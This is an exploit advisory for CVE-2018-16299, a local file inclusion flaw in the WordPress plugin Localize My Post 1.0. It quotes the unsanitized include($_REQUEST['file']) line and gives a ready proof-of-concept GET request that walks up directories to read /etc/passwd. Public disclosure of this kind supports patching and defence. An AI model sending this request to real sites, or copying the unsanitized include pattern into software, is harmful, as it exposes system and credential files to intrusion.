WordPress Plugin Localize My Post 1.0 - Local File Inclusion

# Exploit Title: WordPress Plugin Localize My Post 1.0 - Local File Inclusion
# Author: Manuel Garcia Cardenas
# Date: 2018-09-19
# Software link: https://es.wordpress.org/plugins/localize-my-post/
# CVE: 2018-16299

# DESCRIPTION
# This bug was found in the file: /localize-my-post/ajax/include.php
# include($_REQUEST['file']);
# The parameter "file" it is not sanitized allowing include local files
# To exploit the vulnerability only is needed use the version 1.0 of the HTTP protocol to interact with the application.

# Local File Inclusion POC:

GET /wordpress/wp-content/plugins/localize-my-post/ajax/include.php?file=../../../../../../../../../../etc/passwd